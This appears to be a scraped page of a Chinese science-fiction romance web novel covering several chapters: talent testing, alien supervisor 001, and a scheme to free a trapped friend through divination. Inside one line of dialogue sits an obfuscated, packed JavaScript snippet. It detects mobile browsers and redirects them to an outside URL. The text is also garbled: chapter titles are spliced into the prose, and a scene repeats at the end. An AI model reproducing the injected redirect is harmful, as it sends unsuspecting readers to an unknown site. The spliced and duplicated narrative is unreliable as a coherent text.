“快吃,林知秋说待会要来找我去测试那个什么天赋,你会一起去的吧?”沈郢非常贤惠地把打包好的事物一一呈现在天仰的面前。 “会去。”天仰依旧头大的看着满桌子的食物:“我说你打包的这些也太多了吧……我怎么可能吃得完。” “这不是还有我吗?我再跟你吃一会。” 沈郢从袋子里掏出了两套餐具。 天仰只好无话可说的接过,细嚼慢咽地吃起来。 等到一顿午餐结束。 林知秋带着沈郢和天仰去队伍里单独的一个训练室。 按正常流程一步步走下来。 沈郢已经习惯了系统的存在。 【系统可自动检测天赋数据最高的一项,是否检测?】 沈郢不是很明白这套程序,转过头来看天仰。 天仰点点头,反正自动检测也不是什么坏事。 【系统检测中......】 【检测结果,占卜,您的天赋占卜初始值达到76%】 76%??! 林知秋的认知简直快被眼前这两个人给刷光了,他甚至都在怀疑是不是队伍里的人太弱了,怎么这两个人随随便便都是70起步。 天仰倒是也有些诧异。 只有沈郢还一脸嫌弃地说:“什么啊,占卜有什么用,而且这初始值也太低了吧,才70多,我不会是队里最垃圾的吧?” 沈郢扭头看向林知秋。 林知秋已经吃惊到说不出话。 天仰默默的接下这个问题:“在我们队伍里,你的天赋数值可能是排名第二。” 沈郢也被这番话给说傻了。 他刚才是不是间接嘲讽了一下林知秋…… 沈郢抱歉地看向林知秋,而或者根本没有心思注意到他。 林知秋满脑子,一个70多,一个80多,我们赚发了啊!!! 天仰看着林知秋的表情,就知道他在想什么。不忍心打断对方的幻想,他只得对沈郢说:“你这个数值已经算很高了,跟正常人相比。我一开始也才78%,后面慢慢升上去就很强了。” “可是这个天赋看起来一点用都没有啊……”沈郢还是不太想接受这个天赋。 “你这个天赋的数值很高,如果你换别的估计会更低。我的幻想力一开始我也觉得它没什么用,后来结合技能,发现攻击力真的很强。”天仰循循劝导着沈郢。 “啊,那占卜会有攻击力吗……”沈郢心里有些纠结,开始私聊系统问问技能。 沈郢默默的听着系统播报了一大堆技能,其中还掺杂着几个有攻击力的。 顿时开心了不少。 “天仰天仰,我发现我技能有好多,而且里面还有一些是有带攻击力的!” “嗯,那还不错,那就这个天赋吧,数值那么高。” “好。” 接下来是沈郢的个人训练时间。 天仰和林知秋也不好多打扰,默默离开,把队伍的训练室让给沈郢。 林知秋满心想着要怎么把队伍里的其他人的战斗力拉上,果然是他们太弱了,大佬就是不一样,随随便便就七十多。 亏他昨天还夸了一句那个即将七十的人。 唉,回头去把他训一遍。 “知秋。”天仰叫住了往宿舍走的林知秋。 “你的天赋是什么?” “啊,这个啊。”林知秋才反应过来忘了告诉天仰:“听起来挺普通的,就是决策力。” “决策力?有带攻击吗?” “我这个天赋很多技能都是跟脑力有关联的。攻击的话,只有一个,但帮助不是很大,只能起到小小的作用。”林知秋说完这些话很惭愧,他测了很多天赋,只有这个最高,所以就选择了这个。 “数值呢?” “初始75%,还没有升过。” 玩深夜小游戏? “75%啊……没事没事,跟正常人相比,已经很高了,继续训练吧!”天仰摆摆手,准备也去训练室提升一下实力。 两人分开后,天仰回到了宿舍,刚关上门,就收到来自系统的消息。 【您收到来自监管者001的消息】 001? 天仰感到有些诧异,自从上次沈郢的生存考验结束之后,就再也没有见到过他了,没想到今天居然主动找他? 天仰点击了阅读。 几天不见,要不要来我的房间玩深夜小游戏? 天仰:??? 什么鬼??! 他是不是发错人了? 天仰呆滞了数十秒后,默默选择了关闭。 对方似乎知道他在想什么,又马上发来了一条:或许这里会有你感兴趣的情报。 这句话看起来还比较正常…… 天仰犹豫再三。 201。 川珩趁着降赐进去找资料的时候,偷偷控制了他的系统,找到天仰的房间号,给对方的系统递过去两条消息。 002也在旁边帮忙打着掩护,内心还不断被自己的所作所为感动。 好兄弟,兄弟只能帮助你到这儿了,剩下的就要靠你自己了。 就在降赐一直找不到他们要的资料,并且开始暴躁着要走出来的时候。 川珩偷偷给002使了个眼色。 002马上会意:“啊啊,我突然想起来了,那份资料我好像放在了你的房间里……” “哦?是吗。”川珩天衣无缝地接下去演道:“那我们还是赶紧去我的房间吧,不要打扰降赐了。” “好,走走走……”002推着川珩走了,还不忘跟降赐道个别。 降赐:“……” 手里拿着一份他好不容易找出来的资料。 这两个人到底在搞什么鬼? 降赐郁闷地把资料扔到一边,整个人累得不行,最近因为工作的事情太忙了,都没有时间去找他。 他捏了捏太阳穴,准备先先去浴室泡个澡。 这时门铃又响了。 “又忘记拿什么了?”降赐的语气不由得不耐烦起来。 他粗暴的拉开门。 门口天仰因为他那句话呆若木鸡地愣在门口。 降赐因为突然看见他而恍惚了一下。 隔壁202。 “嗨呀——001怎么还是这副德行?等会儿把把小可爱给吓坏了。” “啧,就是。这么可爱的小可爱还不如给我,啧——” 002和川珩一个趴在墙上,一个趴在门上,竖起耳朵听着隔壁的动静。 为此,他们还把房间的隔音效果给拉到最低。 天仰好一阵沉默后,终于开口了:“我是来,玩……深夜小游戏的……” 为了来之不易的情报,天仰决定牺牲一下自己…… 然而这一番语出惊人直接把降赐弄得没反应过来。 只听隔壁突然传来一阵爆笑。 “哈哈哈哈哈哈哈哈哈哈哈哈好……” “哈哈哈哈哈哈哈哈嗝……” “艹,隔音隔音啊……” “噢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353459|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 天仰和降赐默默地对视了一眼:“……” 好家伙,现在明白到底是谁在搞鬼了。 我就说降赐怎么可能无缘无故给我发这种东西。 天仰一脸冷漠。 而后者直接一脚踹开了202的门,把两个听墙角的人殴了一顿。 当然,川珩是不可能心甘情愿的被殴的。 他第一时间就溜了,早就想好了退路。 而002这个脑缺的家伙直接被降赐揍了一顿。 降赐好不容易灭了火气,看着天仰还站在他的门口等他,心里生出一丝歉意:“不如进去坐坐?” 天仰事到如今,来都来了,也不好意思直接就这么走了:“好。” 天仰跟着降赐进去,比上一次来的时候轻松自由多了,他现在都能随意打量这个房间。 这房间一看就很高级,分为三层楼梯连接,刚进来是一楼会客厅,摆着很多的古董油画,二楼是很多稀奇的房间,三楼就是主人的卧室。 有一种莫名的家大业大的感觉…… 天仰突然没来由的想到一个问题,没经过脑子就把问题问出来了:“你为什么会当监管者?” “我好像也没想过这个问题……不过,我的两个父亲他们以前就是监管者,理所当然的我也会是监管者。” 可显然天仰的重点并不在这个上面:“你的……两个父亲?” “怎么了?” “那你的母亲呢?” 降赐疑惑:“我没有母亲。” 天仰震惊:“??!” 两个人大眼瞪小眼了一会儿,降赐才突然想起什么似的,恍然大悟道:“噢忘了你们地球的习俗,你们是男女能够结婚生子。我们HNR星是男男或女女才能结婚生子,男女是不合法的。” “?!!” 外星文化博大精深,果然是我不能够理解的…… 天仰的表情看起来有些呆滞,不过男男女女到底要怎么生孩子啊……这个星球还真是神奇…… 算了算了,我也不是这个星球的…… “你在这儿坐一会儿,我去沏壶茶。”降赐引着天仰到了一间客厅。 天仰坐下后依旧在四处打量,虽然平时对生活质量不太注重,但每次看到这些新奇的事物总喜欢多看几眼,感觉很有趣。 “你是土豪吗?”天仰在降赐进来前随口一问。 “土豪?算是吧,我的家族在HNR星地位显赫,勉强在家族实力中排名第二,第一是帝王家族的。” 天仰用一种极其复杂的眼神看着他:这么有钱当什么监管者…… “那你呢,你家里是做什么的?”降赐假装不经意的提起这个问题,实际上他在背地里已经把天仰的家世调查了一遍,却发现这个家庭从各个方面的信息基本上都被封锁了,连他调动权限也查不到。 可是查不到就不知道他到底是不是那个人。 “我家啊……”天仰像是回忆起了什么,目光微微黯淡:“就是一户平民百姓罢了。” “哦?”降赐还想继续问下去,但看天仰此时的表情好像不太好。 “也没什么值得说的,跟你家这种达官贵族不一样,我家真的就只是一户平民。而且……”天仰的声音顿了顿,似乎在极力咽下什么,长呼一口气:“我家现在只剩下我一个人了——” 声音戛然止住。 天仰用沉默掩盖着自己的情绪。 而降赐脑子飞快的转动着,只是平民的话为什么信息全方面被封锁了? 就连他在动用权限调查这个信息的时候,上面的人也来提醒自己,因为自己的权限级别不能继续调查。 “跟你说说我们接下来的计划吧。”降赐默默地转移了话题,也猜到002是用这个法子骗天仰出来的。 天仰的情绪调节很快,注意力马上转移到了这个上面。 “还剩下最后三个班还没有经历生存考验,大概会在这两天内结束。而你们幸存者接下来会面临一场分级考验,就像我们的编号这样,由高到低,编号第一的人奖励非常丰富。” “在这场分级考验中,你们会有各自的任务,提前完成就能出来。里面还是会加入我们星球的生物,生物等级为监察生预备役的难度。而且,这场分级考验,我们监管者也会参与在里面。我们会有各自的任务,或许会与你们的任务产生分歧,不过也不用太过于担心,监管者是不会对幸存者出手的。” “分级考验结束之后,前十的监管者会依次带队,这就要看幸存者的人数了。既然我是001,那么我就是带编号靠前的几位。” …… 应该不会很难吧…… 虽然说有监管者的加入…… 不过上次吧监察生的入门级别考试刷了一遍,感觉还行…… 这几天去找沈郢练一练好了…… 天仰的记忆力超强,短短几分钟就把降赐的说的所有话都记得差不多了。 “谢谢你告诉我这么多。”天仰真心实意道:“如果你调查完了那些事情,希望你能给我那个答案。” 降赐明白他说的是哪些:“好。” “时间不早了,我送你回去吧。” “不用了,就在楼下,我自己下去就行。” 就在天仰把门打开的时候,被门口站着的人吓了一大跳。 沈郢一脸幽怨地看着天仰,又瞪了降赐一眼:“系统说你在这里,我就过来了。” “啊……好。”天仰莫名有一种被抓包的错感,正想跟降赐说一句我先走了什么的,就被沈郢直接抓走,一句话都来不及说。 降赐靠在门上盯着他们离开。 隔壁202慢慢开了一道缝。 002的声音从里面传出来:“你有没有发现那个男孩很不对劲?” “确实。” 002在确定降赐现在心情还可以,悄咪咪地把头伸出来:“上回我监考的时候就感觉很不对了,他居然能——” 就在这时降赐突然一把把002的头推进去:“进去再说。” 怎么说这里也是监管者的宿舍,偶尔上面的人还会下来走一走,这种话还是不要在走廊里讲。 “为什么不去你房间去讲?”002莫名被推进了自己的房间,一脸懵逼。 “他会在意。”而后者立刻锁上门,随时一副要杀人灭口的样子。 “……”好一对狗男男。 “还有以后你们不要进我的房间,这次是例外,下次——” “好好好我知道了……” 我觉得这个想法还不错 经过几天的强化训练,天仰的身体素质上升了不少,有时还能和沈郢打出配合来。两个人本来就相识,更何况默契度又那么高。相互提升下,天赋都进入了高达90%的数值,都接近了瓶颈期。 对此,林知秋羡慕得闭门修炼,决定只靠自己研究出最适合自己的路线。 这天沈郢机缘巧合之下用占卜术验算了一件事,结果令他出乎意外,连忙找来了天仰,两人在觉得这个方法可行的情况下,便去找林知秋商讨一下。 结果一开门,林知秋顶着两个硕大的黑眼圈,衣冠不整,十分憔悴,一副严重睡眠不足的模样,看到他们两个提起了一丢丢精神,有气无力道:“你们来找我不会是天赋值破百了吧......” 话语中饱含着无尽的凄惨。 “怎么会......”天仰义正言辞道:“我们有重要的事情来找你。” 林知秋的脑子跟浆糊一样,卡了半天,让了让身,才缓缓说道:“这样啊,你们先进来吧……” 林知秋摇摇晃晃地进去了。 沈郢悄咪咪地跟天仰吐槽:“我怎么感觉他都快死了?” 天仰:“确实有点。” “何止是有点,这跟之前那个人能比吗?怎么感觉才几天就瘦成了这个样子?”沈郢有些难以置信。 两个人在沙发上等了一会儿,林知秋去浴室泼了一脸水,看起来稍微清醒了一点,继续摇摇晃晃地坐在他们对面。 天仰也不卖关子,知道他的状态很不好,三言两语挑重点讲:“我们想到一个办法救臻耀了。” 林知秋听到这个名字,脑子一瞬间清醒,嘴比脑子更快:“你们想到什么办法了?” “是这样的。”沈郢见林知秋状态好多了,便开始絮絮叨叨:“我用我的天赋占卜了一下救他的结果,结果显示,采取行动则博取一线生机,直接放弃等来的就是这个人永远消失……” 林知秋表面上状态看起来挺正常的,其实他已经好几天没有睡好觉了,听沈郢絮絮叨叨有些头疼。 天仰察觉到林知秋的情况,拍手示意一下沈郢,换他来说:“简单来说就是,臻耀不是因为没有身份出来吗?而通过占卜,我们可以推算出有谁是注定会死在里面的,只要那个人进去了,臻耀就能代替他出来。” “啊……”林知秋被这个微妙的办法吸引了。 听起来还不错。 “那怎么才能让臻耀知道,他代替出来的那个人是谁,我们要怎么联系到他?”虽然林知秋的脑子依旧不清不楚,但受到天赋的影响,很多问题,不过脑子就能出来。 天仰想必也是想过这些问题的,只不过他们只是先做了个假设方案,其他的事情还没有考虑。 “那既然这样,等你下次休息好了,我们再来拜访你。”天仰觉得这次的话讲的差不多了,再想下去林知秋的意识已经快没了。 林知秋看起来呆呆的:“啊,好的……” “你早点休息,也别太累了。”怎么说这个宿舍的人当时也算帮助过他,沈郢对他们的印象也还不错。 出了林知秋的房间后,沈郢打算再去训练一会,天仰闲来无事打算出去走走。 两个人相继告别。 天仰刷完脸便出现在寝室楼底下。 这几天也不知道监管者的上级出了什么事情,通知生存考验延缓个几天,导致剩下的三四个班级还没有进行生存考验,在原地焦急的等待。 有些害怕的东西,拖的越久,心里越害怕,还不如早点结束。 可惜一切只能听从天意。 天仰也无暇顾及其他人,他唯一想救的人还困在那个里面。 “唉。” “喵。” 欸,猫? 天仰听到这个声音,反射性去找声音来源。 却忽然被一个易拉罐绊倒,背撞在了树干上。而脚下闪过一道黑影猛地叼走了那个干扁的易拉罐,窜进了草丛里。 “哎等等——” 天仰顾不上背上的痛,下意识地追上去,那个方向可是生存考验的场地啊! 换做是人天仰可能都不会管,可这可是只小猫哎! 考验场地附近,三三两两的监察生聚在一起,很少有过交流的他们此时竟然在讲话,而且表情看起来不像平常一样冰冷冷的,反而都是正常人该有的样子。 这...... 天仰突然顿在原地,仔细观察了一下四周。 果然,一个人也没有。 没有生存考验的时,一个人都不会出现在操场上,也是,谁会有勇气在这种时候出来直面生死呢。 作为一个幸存者,天仰临危不乱地一步步走了出去。 出现在监察生的视野里。 果然,他们的表情都慢慢恢复成原来机械的样子。 这是他们工作的要求,还是说他们对人类就是这个样子? 天仰崩着一张脸从人群中穿过。 现在这所学校里,人类越来越少,监察生是最多的类群。 所以,天仰一个人在监察生堆里走时,难免有些不合时宜的声音出现。 “那不是第一位幸存者吗,怎么会在这儿?” “一般幸存者不都是天天躲在三层,也没多少人会出来走动吗?” “不过这人怎么有点眼熟?” “看起来好像是那位大人的新猎物……” “??也是,这人看起来还挺好看,应该挺对那位大人的胃口。” …… 天仰在满是嘈杂的声音里穿过。 他毫不在意这些言论,毕竟比这些更难听的话他都听过,被人当成羞辱也不是一天两天的。这样的日子,他以前过得多了。 他一路跟随而来的小猫叼着干扁的易拉罐,乖乖坐在生存考验的入口前。 被天仰一把提起后颈:“小家伙,你可真是不知道危险,这里有多可怕,跟你也说不清。算了……我带你走吧。” 灰白色的小猫乖乖地被天仰揪着后颈,一动也不敢动。 这只只有半截手臂那么大的小猫可算被天仰带回了宿舍。 天仰刚抱着小猫到宿舍门口,就看到林知秋在他门口晃来晃去。 看到他之后表情很激动:“啊天仰你终于回来了……” “怎么了?”天仰对林知秋这个突然出现表示很奇怪,他现在只想料理好他怀里的这只小家伙。 “我是想来跟你说一说那个方案的事情。”林知秋看起来有些不好意思,在他们两个离开之后,他花了最快的时间让自己清醒起来。 然后把天仰说的话理了一遍,便很快过来找他了。 “你有主意了?”天仰被林知秋的自我修复能力这么快给惊讶到了。 林知秋自信的点点头。 “那行吧,进去说。” 301。 小猫被带入新的环境之后适应的很好,可能是各种设施齐全,该有的都有,天仰刚让系统准备一下猫的各种用品。 下一秒就自动送上门了。 还特地安装好了猫窝猫爬架猫盆以及各种零零散散的东西,一应俱全。 小家伙在它的新窝里睡得很好,连饭都没有吃就睡过去了。 天仰也没有什么需要准备的东西,看了一会小猫,就来跟林知秋讨论了。 林知秋开始了他的滔滔不绝。 “你们那个假设我已经想好了,如果按照占卜的结果来看,我们需要在最后一轮选择一个必定会死的人,将这个名额让给臻耀。” “如果是这个样子的话,问题在于我们联系不上臻耀。关于这个我有一个想法,就是我们私底下去找这个人,假装给他点好处引诱他到那个洞穴里,让臻耀发现他,就能够知道我们的计划,安全出来。” “所以我们得找一个,起码能活着到达那个洞穴的人。另外我们这个计划还不能被那个人知道,万一那个人利用了我们这个计划活了下来……那我们所做的一切就泡汤了。” “所以必须想个法子,让这个人心甘情愿的把情报送到臻耀的手里。” …… 听完了这一大段话,天仰对此只有一个想法。 他这个天赋真不是盖的。 “怎么样怎么样我觉得这个想法还不错!”林知秋越讲越激动,想到什么立刻补充,还顺带做了笔记:“我们还能巧妙的运用占卜的优势,看看哪个人是合适的人选。” “对。”天仰看了看手机,感觉时间有点紧迫:“这个方案必须赶紧定下来,生存考验最后一场也马上要开始了。” “我知道了,都交给我吧,等我决策完了,你们就负责配合就行。”林知秋更加对这个方案自信满满,恨不得现在就去实现。 可惜还要经过更加精密的计算。 “对了,这件事你还没有跟桦烙说过吧?”天仰突然想起了桦烙,顺嘴问了一句。 林知秋表情黯淡了一下:“自从臻耀走了以后,桦烙的情绪就一直很不好,一直把自己关在宿舍里很少出来。尤其是上一次我们一起去训练室测试天赋,他的天赋数值也很低,哪怕是系统选出来的最高的也只达到了45%……他就更加自闭了……” 45%这是什么概念,连及格都没有。 难怪桦烙会是这个反应,这件事放在任何一个想要复仇的人的身上,都是一件十分不好的事情。 更何况桦烙看起来只是表面上活泼,私底下心思敏感的不行…… 唉,这都什么事儿啊。 确定好了那个人选 又过去了一天。 林知秋那边没有任何消息,天仰也不好去打扰他思考,只得去找沈郢看看能不能再占卜先什么出来。 今天他起的早,在餐厅没有看到沈郢,便打包了一整份早餐去宿舍找他。 天仰在门口等了很久也没开门,正当他疑惑的时候,门缓缓开了。 露出了一张十分萎靡不振的脸。 直到看到天仰手里提着的早餐袋子时,才一下子来了精神猛地扑到他身上。 天仰下意识扶住沈郢:“怎么了?看起来这么虚弱,你不会一整天没吃吧?” 沈郢有苦不能言,只能眼巴巴的看着天仰手里的早餐袋子。 “快别唠嗑了,时间紧迫,赶紧进来。” 林知秋从里面冒出一个头来,看起来也是疲惫不堪,但是强打着精神,手里拿着厚厚的一叠纸,额头上甚至贴着一个冰凉贴。 “你们这是……在干什么?”天仰有些意外,但还是赶紧扶着沈郢进去了。 沈郢一进去便倒在了沙发上,一副虚弱模样地接过天仰递来的肉包子,非常快的嚼了起来。 而林知秋一副强打精神的模样,眼睛底下的黑眼圈深了又深,手里拿着一根笔疯狂的写写写:“天仰来我跟你说,计划我已经想好了,就剩下执行了……” “啊好……”天仰安静坐下等着林知秋的长篇大论。 “明天就是最后一天的生存考验了,我们要在最后一场的时候,实行我们的计划。”林知秋不知道从哪里搬来了一块黑板,上面写着乱七八糟的粉笔字,根本不知从哪看起。 但这也没有影响到天仰,他依旧认真地听着。 沈郢已经是一脸麻木,狼吞虎咽地吃着天仰带来的早餐。 “经过占卜和我的严密计算,我们决定在最后一场生存考验动手。” “已经确定好了那个人选,今天我们就要去找他。首先我没有在他身上下一道符,这道符只有臻耀能够看见,然后臻耀就能知道我们传给他的信息,就能借着这个人的身份活着出来。” “至于这个人选,我们就告诉他能够活着安全到那个洞里的捷径,假装是想要保他的性命。虽然这样有点不人道,但是这个人他已经注定会牺牲,那还不如把这个身份让给臻耀出来……” “到时候等快要结束的时候,我们在出口等他,帮忙证明他这个身份,以防万一出现了什么岔子……” 经过林知秋的一番诉说,虽然这番言论有点残酷,但是现实就是这样的,为了一个人的命,牺牲另外一个人的命,更何况这个人本该就是要牺牲的,还不如牺牲的更有价值一些…… 天仰深知这个道理,对此没有什么意见。 而沈郢从昨天到现在,已经被林知秋洗脑的一脸麻木了,听他说这个计划反反复复已经千遍万遍了,心里也早已麻木了。 更何况这个人选也是他的占卜推算出来。 “那我们今天得先去找到这个人对吧?”天仰听了许久,站起来活动了一下关节,觉得现在时间差不多已经可以动手了。 “对对对……我觉得可以了!”沈郢忙把自己已经准备好的符咒塞到天仰的手里:“这个只要往那个人身上一贴就能自动融合进去了任何人都看不见的。好了好了,我吃饭去了……” 林知秋允许后,沈郢慌慌忙忙地冲了出去,生怕过一会儿又因为什么事情而留下来。 “那我们去找这个人吧?”天仰问道。 林知秋点点头,突然想起了另一件事:“对了桦烙也知道这个计划了,不过他没有参与。他觉得自己的力量太弱了,怕妨碍到我们,不过他到时候也会去终点跟我们一起等臻耀出来的。” “好,我们还是先去找人吧,早点把这件事做完。” —— 寝室楼。 “时间过得真快,这已经是最后一个专业了……”林知秋站在最后一栋寝室楼前有些感慨,其他三栋楼已经空了,就剩下这一层仅仅几间宿舍了。 “嗯……”天仰望着空荡荡的寝室楼,心里也不知是什么想法,但莫名感觉有一丝冷意。 终于,要结束了吗…… 还是说这是另一个新的开始…… 天仰和林知秋上了楼,敲开了最后一间宿舍的门。 里面的人唯唯若若地说了一声请进。 天仰先一步踏了进去,在看到里面的人时有些惊愕。 最后这个宿舍只有四个人,四个人抱团坐在角落里,动也不敢动一下,看上去是想死死地待在墙边,永远不想离开。 看到这一幕天仰莫名顿在原地,脚再也不能往前一步。 “你们好……”林知秋感受到天仰的情绪,上前一步先打了个招呼。 没有人敢回应他。 过了很久很久,才有一个人敢抬头轻轻看他们一眼,哆哆嗦嗦道:“你们是那群魔鬼派来的吧……还是快走吧,我们已经不想见到人类了……” 天仰:“……” 林知秋张了张嘴,却什么都说不出口。 天仰仿佛刚被人按了开启键,朝他们靠近了一点,看向那个说话的人:“你是徐裕吗?” 那人的表情有一丝惊讶:“你怎么知道的?” “刚看你们宿舍门上贴的名字,猜的。”天仰抿了抿嘴,继续道:“你的室友好像不愿意跟我们说话,你愿不愿意出来一下,我们想跟你说些事。毕竟如果你们都是这个态度……” 天仰顿了顿:“监管者那边我们不好交代。” 徐裕看起来相当紧张:“是,是监管者让你们过来的吗……对,对不起,我们一定配合……” 明明一副十分害怕的样子,但还是站了出来。 天仰叹了一口气,眼神示意林知秋:“跟我们出来一下吧。” 门外天台。 “不好意思还把你叫出来了。”林知秋努力想要这个同学不要那么紧张。 毕竟如果这步错了,后面也是连连败错。 这一步很关键。 “也不是什么大问题,同学,你保持冷静就好。”天仰十分淡定的拍了拍徐裕的肩膀,借机把那到符拍到了他的身上。 “好,好的……”徐裕局促不安道。 “监管者让我们来统计一下,你们专业还剩下多少人?”天仰脸不红不跳地随便扯了个问题出来。 徐裕不敢马虎,仔仔细细的回忆了一遍报了个数出来。 “嗯,好。”天仰保持着原来的表情。 接下来这个才是关键。 “同学实不相瞒,我们两个都是幸存者你们是知道的。”林知秋客客气气道:“这位呢是第一个幸存者,他在我们那里创建了一个队伍,但是由于幸存者过少,我们希望多招入一点人,所以希望你们能多活一点人下来……” 徐裕惊讶的说不出话来,感觉自己的好运终于来了。 天仰在一旁假装自己很厉害的样子。 “所以接下来的事情,希望你对其他人保密……”林知秋开始对徐裕诉说那个洞穴的存在,以及最佳到达路线。末了又道:“所以我们不希望太多人知道这个事情,免得让监管者发现了,我们就危险。” 徐裕当然不会放过这个来之不易的机会,用力的点点头:“放心,我明白的!谢谢你们告诉我这件事,等我活下来,我一定会去加入你们的队伍的!” 好,妥了。 林知秋开心的给天仰递了个眼神过去。 天仰保持着面无表情的脸,继续迷惑徐裕。 一切计划准备就绪。 天仰疲惫的回到宿舍,喂喂猫,铲铲屎,撸猫撸着撸着就在沙发上睡着了。 再次醒来的时候已经是黄昏。 天仰感到有些头痛,支撑着坐起来,看到腿上蜷缩着一只毛茸茸的小家伙。 真乖。 天仰在它身上轻轻撸了一下。 说起来是不是还得给它取个名字什么的? 晚点征询一下沈郢的意见好了。 这次系统突然弹出一条新消息。 【监管者001邀请您去201吃晚餐】 嗯? 天仰感到有些奇怪。 不过这样贸然过去,被沈郢看见了,估计又要被说一通吧…… 还是不要冒这个险好了…… 想了想,天仰还是拒绝了这个邀请。 毕竟明天可是有大事儿,万一在这个时候又发生了什么…… 嘶……怕是会死吧。 于是天仰便先去洗澡了,他甚至还想去训练室训练一会儿。 沐浴完之后,天仰看着在地上无聊得翻滚的小家伙,决定把它带出去走走。 反正今天晚上也没有什么事。 这般想着,天仰主动地对小家伙伸出胳膊。 小家伙在地上翻滚了一会,便蹦到天仰怀里,乖巧得很。 就这样,天仰把猫带了出去。 虽然说幸存者日常生活中心,设施丰富且有多样性,但是像猫咪乐园这种东西游玩的设施还是不存在的。 天仰抱着猫咪在第三层四处瞎逛逛,最后无所事事都停留在了一处天窗。 这里能够看到航母以外的景色。 是一处非常荒凉的星球,寸草不生,光秃秃的土地上没有一点生命,甚至连生存的气息也没有。 看起来像是一个被遗弃了的星球。 “惊讶吗?你们的星球未来就会变得和这差不多。” 背后传来了一道声。 最后一场生存考验开启 天仰心中猛的嗑噔了一下,面不改色地转过身,对上那双眼:“你怎么在这?” 降赐淡然地抱着胳膊,站在天仰的身边,欣赏着窗外枯败的景象:“当然是,来看看你。” 天仰静静地摸着怀里的小家伙,一言不发地望着窗外的景色。 良久,道:“我忽然想问你一个问题,关于监管者的。” “问。”降赐当然不会拒绝他。 “你们监管者是怎么发动能力的?或者说你们比我们有哪些能力上的优势?”天仰一字一句说道。 降赐看着少年乌黑的头发,随着时间的变化微微长长了些。下意识地伸手勾了勾发丝,扬唇道:“我们HNR星每个人的能力都是天生的,也是与众不同的,更有强弱之分。” “跟你们的天赋不同,我们的能力随时随地都可以使用,不受任何约束,这是我们生来就有的优势。” 天仰沉默了一会儿。 看来在分级考验中,和监管者对上会很困难…… “不用担心。”降赐像是知道天仰心里在想些什么:“是你的话,可以的。” 天仰抬头看了降赐一眼:“……” “你一个监管者怎么会出现在这?这里是第三层……”天仰显然不相信降赐一开始说的那些话。 “明天早上是最后一场生存考验。”降赐瞥了一眼天仰怀里的小家伙,忍不住逗弄了一下:“不会很严格。” 天仰瞬间明白了他什么意思,脑子快速运转着。 这家伙是不是在我们这里留了眼线? 思考完毕后,天仰辞别降赐,去餐厅打包了一份晚餐,便回宿舍了。 明天的生存考验结束以后,很快就是分级考验了。 分级考验之后决定的是他们在幸存者中的排名和优势。 他必须尽量拿到靠前的名额,才能保证他和沈郢活下去。 不知为何他心理隐隐感到不安,感觉未来会发生什么变故。 —— 最后一场生存考验开启。 徐裕紧张的站在队伍中央,他们专业已经没剩下多少人了,他们班也只剩下二十来个人。 能坚持到最后一场生存考验的到来,他们每个人的心里承受能力都很脆弱,受不了的已经离开了世界,还抱有一丝丝希望或者不敢死的人,都站在了生存考验的入口。 徐裕紧张兮兮地看着入口处的监管者,脑海里不断浮现着那两个幸存者所说的逃生路线,生怕自己忘记了哪个。 余光不禁往旁边一瞄,看见旁边空荡荡的操场上站着几个人。昨天见到的两个幸存者就在那里,那个看着比较高冷的冲他点了点头。 天仰站在不远处的操场上,跟队伍里的几个人一起等待着这场考验的开始。 队伍里是他们精挑细选出来的,愿意为了臻耀放弃生命冲进去救他的人。 虽然人不多,但个个都是真心。 他们已经准备好,万一最后开启出口的时候发生了什么变故,就全部人冲进去,制造一些混乱,借机把人带出来。 这也是林知秋想的法子之一。 天仰本来对这个方法还有点担心,怕还没进去就被监管者和监察生给抓起来了。但看到入口处的两个监管者时,顿时安心了。 入口处站着001和002。 周围只有渺渺无几的监察生,对这最后一场生存考验根本不上心,有些监察生甚至偷偷聊起天来,注意力根本不在这上面。 那就没问题了。 天仰这般想着。 沈郢一脸困意的靠在天仰身上,哈欠连连,听说昨晚林知秋又去找他了,好像又改进了几个备选方案。 两个人昨天晚上都没睡好觉。 —— 降赐掐着时间,到点把所有人放了进去,便将薄膜锁了起来。 002也是一脸睡眠不足的模样,一看就是昨天晚上游戏玩多了:“好累啊——” 降赐:“……” “对了,到时候的分级考试是我们排名前十的监管者参与噢,你到时候可别忘了来。”002突然想起上面的人交代的事情,便把随身携带的小本本掏出来,生怕遗漏了什么:“考试严禁攻击幸存者,我们可能是在里面当NPC好像,然后排名靠前的人可以优先选角色。考试之后好像会分部下,排名前五监管者带后五监管者,都只对前十的。” “到时候再说。”降赐对这种事情完全没兴趣。 “行行行,反正到时候你的部下又是归我管,不然到时候又没人找得到你,唉——这造的什么孽……”002一脸嫌弃道。 不远处的天仰看着降赐的脸色,还挺好奇他们在讲什么的。 但身上还趴着一只沈郢,注意力又不能完全放在他们的身上,不然她还真想过去听听。 “徐裕进去了。”沈郢全程眼尖地盯着那个男生,及时报告道。 26. 最后一场生存考验开启 天仰心中猛的嗑噔了一下,面不改色地转过身,对上那双眼:“你怎么在这?” 降赐淡然地抱着胳膊,站在天仰的身边,欣赏着窗外枯败的景象:“当然是,来看看你。” 天仰静静地摸着怀里的小家伙,一言不发地望着窗外的景色。 良久,道:“我忽然想问你一个问题,关于监管者的。” “问。”降赐当然不会拒绝他。 “你们监管者是怎么发动能力的?或者说你们比我们有哪些能力上的优势?”天仰一字一句说道。 降赐看着少年乌黑的头发,随着时间的变化微微长长了些。下意识地伸手勾了勾发丝,扬唇道:“我们HNR星每个人的能力都是天生的,也是与众不同的,更有强弱之分。” “跟你们的天赋不同,我们的能力随时随地都可以使用,不受任何约束,这是我们生来就有的优势。” 天仰沉默了一会儿。 看来在分级考验中,和监管者对上会很困难…… “不用担心。”降赐像是知道天仰心里在想些什么:“是你的话,可以的。” 天仰抬头看了降赐一眼:“……” “你一个监管者怎么会出现在这?这里是第三层……”天仰显然不相信降赐一开始说的那些话。 “明天早上是最后一场生存考验。”降赐瞥了一眼天仰怀里的小家伙,忍不住逗弄了一下:“不会很严格。” 天仰瞬间明白了他什么意思,脑子快速运转着。 这家伙是不是在我们这里留了眼线? 